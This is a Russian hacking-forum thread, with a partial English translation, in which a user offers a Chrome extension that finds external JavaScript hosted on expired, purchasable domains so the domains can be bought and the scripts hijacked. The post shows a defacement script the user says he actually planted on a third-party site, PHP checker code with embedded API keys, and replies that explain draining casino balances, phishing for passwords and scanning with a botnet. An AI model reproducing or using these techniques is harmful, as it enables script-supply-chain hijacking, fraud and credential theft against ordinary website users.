• XSS.stack #1 – первый литературный журнал от юзеров форума

фишинг Расширение Google Chrome: Сканирует посещаемые страницы и уведомляет о забытых, внешних JavaScript-файлах, на доменах, доступных для приобретения

Cha01337

ripper
КИДАЛА
Регистрация
23.10.2021
Сообщения
270
Реакции
129
Гарант сделки
5
Пожалуйста, обратите внимание, что пользователь заблокирован
55555555.png

999999999999.png

============
1_1.png

=============
2_2.png

==============
3_3.png

==========
4_4.png
Расширение для Google Chrome работает в фоновом режиме и проверяет посещаемые вами страницы. Оно автоматически обнаруживает внешние JavaScript-файлы, которые загружаются на эти страницы, и сообщает вам о тех скриптах, которые не удается корректно загрузить.

Более того, данное расширение также производит анализ доменов, на которых расположены скрипты, с использованием API GoDaddy, чтобы определить их доступность для покупки. Если домен доступен для приобретения, расширение уведомляет вас об этой возможности.

Для чего нужно расширение?

Предположим, вы - администратор сайта, разместили внешний JavaScript на своем веб-сайте, будь то статистика посещений, виджет, чат или любой другой функциональный элемент. С течением времени владелец домена, на котором размещен этот скрипт, забывает продлить его. Вы, возможно, не замечаете, что ваш виджет.js или чат.js перестает работать, и на вашем сайте появляется ссылка на скрипт, домен которого сейчас продается.

При помощи расширения злоумышленник находит (случайно замечает) незагруженный внеший JavaScript, который не загрузился из-за истечения срока действия домена и покупает этот домен, чтобы разместить свой собственный скрипт. Это может называться "Доменное перехватывание" или "Доменный киберсквоттинг".

И вот здесь на помощь приходит данное расширение. Оно сканирует внешние JavaScript-файлы во время серфинга в фоновом режиме и проверяет доступность домена на котором они расположены для покупки. Если расширение обнаружит такой скрипт на одной из посещенных вами страниц, оно оповестит вас.

Пример
Решил пошарить по сайтам, запрос был "SAMP моды". Спустя немного времени, попал на чей-то старинный дор http://pogonina.com/?onf=skachat-server-mod-dlya-samp (который видимо сделали под загрузки, так еще и под СНГ - такое мы осуждаем). Расширение отработало и показало, что на сайте имеется ссылка на 2 JS-скрипта, которые расположены на домене cloud-js точка ru
333_____.png

Посмотрел сколько он стоит...
9385039845999999991312311.png
Решил купить, сделать дефейс этого *** для примера. Да и вообще посмотреть, быть может на него и другие cтаринные доры ссылаются еще.
Разместил на cloud-js точка ru/images/ajax2.js
Такой код:

Код:
window.addEventListener('load', function() {
    if(document.getElementById("baviku")){
        var htmlToInsert = "<div><h1 style='color:white;margin-top:300px;'>xss.pro</h1></div><div style='color:white;'>Не забывайте о внешних javascript'ах</div>";
        document.getElementById("baviku").insertAdjacentHTML('beforebegin', htmlToInsert);
        document.getElementById("baviku").remove();
    }
});
Скрипт просто подождет пока загрузится страничка, удалит блок с контентом дора и разместит надпись "xss.pro | Не забыйте о внешних javascript'ах"
Что получилось:
55523452345.png
На cloud-js точка ru/images/ajax1.js разместил скрипт через который буду получить информацию на каких еще страницах установленн данный скрипт.

Потом перешёл на главную страницу. Это сайт про какую-то шахматистку, который взломали и разместили на нем дорвей.
На сайте кстати тоже есть внешние, забытые JS (домен правда не купить)
9859304850394511111.png
====
Как установить расширение?
1.Открываем Google Chrome, вставляем в адресную строку "chrome://extensions/" (Без кавычек) и переходим
хроме1.png
2. Прожимаем кнопку "Load unpacked" или "Загрузить распакованное расширение" и указываем папку с распакованным архивом (Ссылка на архив с расширением будет внизу). Если все сделаете правильно, появится наше расширение (скрин ниже под спойлером).
хроме2.png

3. В правом углу экрана выбираете расширение, настраиваете как вам удобно.
хроме3.png
4. Для тех, кто не хочет проверять домены (можно купить домен или нет?) на моем сервере - отжимаете галочку "Проверять доступность домена для покупки с помощью сервера создателя" в настройках.

Кто хочет проверять на моем сервере, предупреждаю - я буду сохранять ссылки, которые будут приходить ко мне на сервер. Если сервер вдруг ляжет или его заблокируют, ответы вам идти не будут и ссылки проверяться тоже (просто предупреждаю, учитывайте это). Советую вам отжать галочку и поставить cкрипт к себе на хостинг, проверять с помощью своего скрипта, но это не обязательно - через мой тоже будет работать какое-то время (потыкать, посмотреть как работает расширение, думаю вам хватит)
настрройкааааааа_-__.png

Такое будет описание, если нажмете на ссылку "[Где взять скрипт проверки]"
проверкадоменов.png
Не забудьте заменить на свои API ключи
PHP:
$apiKey = "gGrgXqQquG3u_XnAqfboqKEkwoXkwofwB27"; // Замените на ваш ключ API
$apiSecret = "NxssddlfiGwxxXeigjoGiegyik"; // Замените на ваш секретный код API
ping.php
PHP:
<?php
header('Access-Control-Allow-Origin: *');
header("Content-Security-Policy: default-src 'self' *;");

function isLinkAvailable($url) {
    $headers = @get_headers($url);
    return $headers && (strpos($headers[0], '200') !== false || strpos($headers[0], '30') === 0);
}

function getDomainFromUrl($url) {
    $urlParts = parse_url($url);
    if (isset($urlParts['host'])) {
        return $urlParts['host'];
    }
    return null;
}

if ($_SERVER["REQUEST_METHOD"] === "POST") {
    if (isset($_POST["linkjs"]) && isset($_POST["link"])) {
        $linkjs = $_POST["linkjs"];
        $link = $_POST["link"];
        if (isLinkAvailable($linkjs)) {
            echo "Ссылка доступна.";
        } else {
            echo "Ссылка недоступна. | Шаг 1";
            $domain = getDomainFromUrl($linkjs);
            $checkType = "FULL"; // Выберите 'FAST' или 'FULL'
            $forTransfer = false; // Выберите true или false

            $baseURL = "https://api.godaddy.com"; // URL для продукционного окружения
            // $baseURL = "https://api.ote-godaddy.com"; // URL для тестового окружения

            $url = "$baseURL/v1/domains/available?domain=$domain&checkType=$checkType&forTransfer=$forTransfer";

            $apiKey = "gGrgXqQquG3u_XnAqfboqKEkwoXkwofwB27"; // Замените на ваш ключ API
            $apiSecret = "NxssddlfiGwxxXeigjoGiegyik"; // Замените на ваш секретный код API

            $headers = array(
                "Authorization: sso-key $apiKey:$apiSecret"
            );

            $curl = curl_init();
            curl_setopt_array($curl, array(
                CURLOPT_URL => $url,
                CURLOPT_RETURNTRANSFER => true,
                CURLOPT_HTTPHEADER => $headers,
            ));

            $response = curl_exec($curl);
            curl_close($curl);

            $data = json_decode($response, true);

            if ($data["available"]) {
                echo "<br>Домен $domain доступен для покупки. | Шаг 2";
                // Дополнительные действия при доступности домена
            } else {
                echo "<br>Домен $domain недоступен для покупки.";
                // Дополнительные действия при недоступности домена
            }
        }
    } else {
        echo "Ссылка не была передана.";
    }
} else {echo "Доступен";}
?>
Скачать расширение (onion)
 

Вложения

  • 333.png
    333.png
    197.3 КБ · Просмотры: 225
  • xss_dlya_konkyrsa.zip
    34 КБ · Просмотры: 170
  • 5_5.png
    5_5.png
    48.7 КБ · Просмотры: 235
  • 99999999999999999913337.png
    99999999999999999913337.png
    25.9 КБ · Просмотры: 201
Последнее редактирование:
годнота, спасибо! а можно такое же, только для Firefox?
 
Пожалуйста, обратите внимание, что пользователь заблокирован
годнота, спасибо! а можно такое же, только для Firefox?
Можно, но не сегодня и не завтра. Пока настроения нет под Firefox адаптировать.
Когда-нибудь сделаю наверное
 
пока что мой голос будет за тобой. полезность.
 
Доменное перехватывание" или "Доменный киберсквоттинг"
Прошу прощение за флуд, а какую угрозу это может нести кроме постановки переходника на малварь? Либо js майнера
 
Пожалуйста, обратите внимание, что пользователь заблокирован
Прошу прощение за флуд, а какую угрозу это может нести кроме постановки переходника на малварь? Либо js майнера
Смотря что за сайт
Можешь нажимать кнопки, отправлять запросы прямо из браузера пользователя (с его куками) на странице где этот JS размещен.
Если пользователь авторизован, ты можешь получить при помощи JS какие-то данные со страницы (его баланс, почту - любые данные, которые указаны на странице где стоит скрипт)

Предположим, ты нашел забытый javascript на сайте казино и купил домен на котором этот JS стоит - можешь сделать вывод баланса пользователя или вывести ему фишинговое окно для "повторной авторизации" или изобразить, что его выкинуло из аккаунта на той странице и попросить ввести пароль или какой-то код, секретный вопрос
 
Неплохо, спасибо большое за ответ. А возможно где-нибудь найти подобные реализации?
Смотря что за сайт
Можешь нажимать кнопки, отправлять запросы прямо из браузера пользователя (с его куками) на странице где этот JS размещен.
Если пользователь авторизован, ты можешь получить при помощи JS какие-то данные со страницы (его баланс, почту - любые данные, которые указаны на странице где стоит скрипт)

Предположим, ты нашел забытый javascript на сайте казино и купил домен на котором этот JS стоит - можешь сделать вывод баланса пользователя или вывести ему фишинговое окно для "повторной авторизации" или изобразить, что его выкинуло из аккаунта на той странице и попросить ввести пароль или какой-то код, секретный вопрос
 
Пожалуйста, обратите внимание, что пользователь заблокирован
А возможно где-нибудь найти подобные реализации?
Вот пример получения никнейма и отправки сообщения на форуме на JS:
JavaScript:
//Получаем имя пользователя на этом форуме
var name = document.getElementsByClassName("p-navgroup-linkText")[0].textContent;
//Выводим его в консоль
console.log(name);

//Пример вставки текста и никнейма в поле ответа на этом форуме, на этой странице
document.getElementsByClassName("fr-element fr-view fr-element-scroll-visible")[0].textContent="Тестовый текст. Мой никнейм: "+name;

//Нажмем кнопку "Ответ"
document.getElementsByClassName("button--primary button button--icon button--icon--reply")[0].click();
Чтобы разместить этот код на странице локально (только у тебя), можешь вставить его через TOR браузер в консоль и нажать enter
5555555555555555555555.png
Чтобы разместить его для всех, тебе нужна возможность размещать на страницах сайта JS-код (Ты должен быть или админ, или найти XSS, или найти такой вот забытый скрипт и разместить код там)
----------
В казино так же будешь делать, только вместо текста - будешь вставлять сумму, вместо кнопки "Ответ" - будешь нажимать "Вывод" и так далее
 
интересное и полезное расширение, сразу вспомнил про сайт по поиску js - вот пользуйтесь в связке с этим расширением
сайт. publicwww
 
Вот пример получения никнейма и отправки сообщения на форуме на JS:
JavaScript:
//Получаем имя пользователя на этом форуме
var name = document.getElementsByClassName("p-navgroup-linkText")[0].textContent;
//Выводим его в консоль
console.log(name);

//Пример вставки текста и никнейма в поле ответа на этом форуме, на этой странице
document.getElementsByClassName("fr-element fr-view fr-element-scroll-visible")[0].textContent="Тестовый текст. Мой никнейм: "+name;

//Нажмем кнопку "Ответ"
document.getElementsByClassName("button--primary button button--icon button--icon--reply")[0].click();
Чтобы разместить этот код на странице локально (только у тебя), можешь вставить его через TOR браузер в консоль и нажать enter
Чтобы разместить его для всех, тебе нужна возможность размещать на страницах сайта JS-код (Ты должен быть или админ, или найти XSS, или найти такой вот забытый скрипт и разместить код там)
----------
В казино так же будешь делать, только вместо текста - будешь вставлять сумму, вместо кнопки "Ответ" - будешь нажимать "Вывод" и так далее
благодарю тебя, очень полезная информация
 
Пожалуйста, обратите внимание, что пользователь заблокирован
Вот пример получения никнейма и отправки сообщения на форуме на JS:
JavaScript:
//Получаем имя пользователя на этом форуме
var name = document.getElementsByClassName("p-navgroup-linkText")[0].textContent;
//Выводим его в консоль
console.log(name);

//Пример вставки текста и никнейма в поле ответа на этом форуме, на этой странице
document.getElementsByClassName("fr-element fr-view fr-element-scroll-visible")[0].textContent="Тестовый текст. Мой никнейм: "+name;

//Нажмем кнопку "Ответ"
document.getElementsByClassName("button--primary button button--icon button--icon--reply")[0].click();
Чтобы разместить этот код на странице локально (только у тебя), можешь вставить его через TOR браузер в консоль и нажать enter
Чтобы разместить его для всех, тебе нужна возможность размещать на страницах сайта JS-код (Ты должен быть или админ, или найти XSS, или найти такой вот забытый скрипт и разместить код там)
----------
В казино так же будешь делать, только вместо текста - будешь вставлять сумму, вместо кнопки "Ответ" - будешь нажимать "Вывод" и так далее
Из твоего личного опыта - часто находятся действующие сайты с неактивными js элементами?
Пробовал ли сам лично это монетизировать? Или используешь только в целях собственной безопасности?
 
Пожалуйста, обратите внимание, что пользователь заблокирован
Бывают иногда у расширения ложные срабатывания, но они не частые - когда ссылка стоит на один JS (на один сайт), но по факту там редирект на другой сайт (на другой JS) - тогда будет ложное cрабатывание. Это сами фиксите в ping.php который я выложил в самом первом посте или просто проверяйте вручную когда вам алерт выведет.

часто находятся действующие сайты с неактивными js элементами?
Часто, но домены на которых эти JS расположены, тоже часто заняты
-----------
Сегодня например попалось это
859384593485.png
Проверяем у регистратора:
53948503495.png

На его поддомен cdn.bitrix24.ua думаю много сайтов есть которые ссылаются, смотрим на publicwww

Вот некоторые из них
534253452345.png

Вообще там мне выдало 1900 страниц по запросу bitrix24.ua

Правда нюанс есть, для регистрации домена в зоне .ua нужно торговый знак зарегистрировать
 
Последнее редактирование:
В этом и проблема, что освобождающийся .ua домен можно сказать невозможно зарегать в принципе, его бы забрали намного раньше чем бы ты увидел что он освободился) Да и вообще подобные домены с большим количеством беклинков уходят с ауков в любой доменой зоне. Этот скрипт году так в 2010 был бы очень актуален, прикольная идея) Даже был в такой ситуации когда ломал голову над поиском SQL на сайте игры актуальной в тот момент и случайно заметил .js с сайта компании (которая выпустила эту игру) и этот сайт оказалось взломать намного легче, чем долбиться в изначальную цель :) Сейчас мне кажется таким образом инфицировать можно только сайты которыми уже давным давно никто не занимаются и забросили их, а на таких сайтах как правило народу и нет)
 
Пожалуйста, обратите внимание, что пользователь заблокирован
Да и вообще подобные домены с большим количеством беклинков уходят с ауков в любой доменой зоне
Да, некоторые хорошие домены уходят с ауков, но так же есть домены с большим кол-вом беклинков, которые ты можешь купить прямо сейчас по цене домена

Например:
1. 3.000.000+ беклинков
99999999999.png
2. 2.700.000+ беклинков
Этот конечно дороговат, но имеет 2.700.000+ беклинков
421341234.png
3. 1.800.000+ беклинков
0508345.png
Как видишь, не каждый домен с большим кол-вом беклинков выкупают с ауков - это первое
Второе:
Не обязательно, чтобы на домене было много беклинков, чтобы он был интересен. Там может быть 10 беклинков, но с нужного тебе сайта допустим и никто может не насканить этот домен с JS скриптом с какого-нибудь интересного сайта, потому что он будет загружаться динамически в какой-то определенный момент, внутри личного кабинета например

Просто какой-то сканер его не насканит, потому что не войдет в личный кабинет, либо войдет в личный кабинет, но этот JS загрузится когда будет какое-то действие определенное производиться на странице

А вот расширение его заметит, когда ты будешь в личном кабинете.

И на этот JS может не быть миллион беклинков)
Сейчас мне кажется таким образом инфицировать можно только сайты которыми уже давным давно никто не занимаются и забросили их
Тебе кажется.
Найти интересный сайт - будет не легко конечно, но это возможно и можно даже сейчас

Этот скрипт году так в 2010 был бы очень актуален
Люди размещают внешние скрипты(?) - размещают, домены со временем забывают продлить(?) - забывают или не хотят => Значит в любое время будут появляться домены с беклинками, домены со ссылками на JS, которые именно ты можешь успеть купить первым - это актуально, пока размещают ссылки
------
Ну прогрузи расширение в хром ботнет, допиши или напиши новое - пусть не ты один будешь серфить интернет, пусть боты серфят и сканят и шансы возрастут.
 
Последнее редактирование:
Пожалуйста, обратите внимание, что пользователь заблокирован
пока что мой голос будет за тобой. полезность.
солидарен , спасибо ТСу
 
The Google Chrome extension runs in the background and checks the pages you visit. It automatically detects external JavaScript files that are loaded on these pages and alerts you to any scripts that fail to load correctly.

Moreover, this extension also analyzes the domains on which the scripts are located using the GoDaddy API to determine their availability for purchase. If a domain is available for purchase, the extension notifies you of this opportunity.

What is the extension for?

Let's say you are a site administrator and have placed external JavaScript on your website, be it visitor statistics, widget, chat or any other functional element. Over time, the owner of the domain where this script is hosted forgets to renew it. You may not notice that your widget.js or chat.js stops working and a link appears on your site to a script whose domain is currently for sale.

Using the extension, the attacker finds (accidentally notices) unloaded external JavaScript that did not load due to the domain expiration and buys this domain to host his own script. This may be called "Domain Interception" or "Domain Cybersquatting".

And this is where this extension comes to the rescue. It scans external JavaScript files while surfing in the background and checks whether the domain on which they are located is available for purchase. If the extension detects such a script on one of the pages you visit, it will notify you.

Example
I decided to rummage through the sites, the request was “SAMP mods”. After a little time, I ended up on someone’s old road http://pogonina.com/?onf=skachat-server-mod-dlya-samp (which was apparently made for downloads, and also for the CIS - we condemn this). The extension worked and showed that the site has a link to 2 JS scripts, which are located on the cloud-js domain dot ru

I looked how much it costs...
I decided to buy and deface this *** as an example. And in general, look, maybe other ancient books still refer to it.
Posted on cloud-js dot ru/images/ajax2.js
This code:

Код:
window.addEventListener('load', function() {
    if(document.getElementById("baviku")){
        var htmlToInsert = "<div><h1 style='color:white;margin-top:300px;'>xss.pro</h1></div><div style='color:white;'>Don't forget about external javascript'ah</div>";
        document.getElementById("baviku").insertAdjacentHTML('beforebegin', htmlToInsert);
        document.getElementById("baviku").remove();
    }
});
The script will simply wait until the page loads, delete the block with the content and place the inscription "xss.pro | Don't forget about external javascripts"
What happened:
On cloud-js dot ru/images/ajax1.js I posted a script through which I will receive information on which other pages this script is installed.

Then I went to the main page. This is a site about some chess player that was hacked and a doorway was posted on it.
By the way, the site also has external, forgotten JS (you really can’t buy a domain)
====
How to install the extension?
1.Open Google Chrome, paste “chrome://extensions/” (Without quotes) into the address bar and go
2. Click the "Load unpacked" or "Load unpacked extension" button and specify the folder with the unpacked archive (The link to the archive with the extension will be below). If you do everything correctly, our extension will appear (screen below under the spoiler).

3. In the right corner of the screen, select the extension and configure it as you wish.
4. For those who don’t want to check domains (can I buy a domain or not?) on my server, uncheck the “Check domain availability for purchase using the creator’s server” checkbox in the settings.

Anyone who wants to check on my server, I warn you - I will save links that will come to my server. If the server suddenly goes down or is blocked, replies will not be sent to you and links will not be checked either (just a warning, keep this in mind). I advise you to uncheck the box and install the script on your hosting, check it using your script, but this is not necessary - mine will also work for a while (poke and see how the extension works, I think that’s enough for you)

This will be the description if you click on the link “[Where to get the verification script]”
Don't forget to replace your API keys with yours
PHP:
$apiKey = "gGrgXqQquG3u_XnAqfboqKEkwoXkwofwB27"; // Replace with your API key
$apiSecret = "NxssddlfiGwxxXeigjoGiegyik"; // Replace with your secret API code
ping.php
PHP:
<?php
header('Access-Control-Allow-Origin: *');
header("Content-Security-Policy: default-src 'self' *;");

function isLinkAvailable($url) {
    $headers = @get_headers($url);
    return $headers && (strpos($headers[0], '200') !== false || strpos($headers[0], '30') === 0);
}

function getDomainFromUrl($url) {
    $urlParts = parse_url($url);
    if (isset($urlParts['host'])) {
        return $urlParts['host'];
    }
    return null;
}

if ($_SERVER["REQUEST_METHOD"] === "POST") {
    if (isset($_POST["linkjs"]) && isset($_POST["link"])) {
        $linkjs = $_POST["linkjs"];
        $link = $_POST["link"];
        if (isLinkAvailable($linkjs)) {
            echo "Link available.";
        } else {
            echo "Link unavailable. | Step 1";
            $domain = getDomainFromUrl($linkjs);
            $checkType = "FULL"; // Select 'FAST' or 'FULL'
            $forTransfer = false; // Choose true or false

            $baseURL = "https://api.godaddy.com"; // URL for production environment
            // $baseURL = "https://api.ote-godaddy.com"; // URL for the test environment

            $url = "$baseURL/v1/domains/available?domain=$domain&checkType=$checkType&forTransfer=$forTransfer";

            $apiKey = "gGrgXqQquG3u_XnAqfboqKEkwoXkwofwB27"; // Replace with your API key
            $apiSecret = "NxssddlfiGwxxXeigjoGiegyik"; // Replace with your API secret code

            $headers = array(
                "Authorization: sso-key $apiKey:$apiSecret"
            );

            $curl = curl_init();
            curl_setopt_array($curl, array(
                CURLOPT_URL => $url,
                CURLOPT_RETURNTRANSFER => true,
                CURLOPT_HTTPHEADER => $headers,
            ));

            $response = curl_exec($curl);
            curl_close($curl);

            $data = json_decode($response, true);

            if ($data["available"]) {
                echo "<br>Domain $domain is available for purchase. | Step 2";
                // Additional actions when the domain is available
            } else {
                echo "<br>Domain $domain is not available for purchase.";
                // Additional actions if the domain is unavailable
            }
        }
    } else {
        echo "The link was not sent.";
    }
} else {echo "Available";}
?>
Download extension (onion)
I appreciate the post. Good content 👍
 


Напишите ответ...
  • Вставить:
Прикрепить файлы
Верх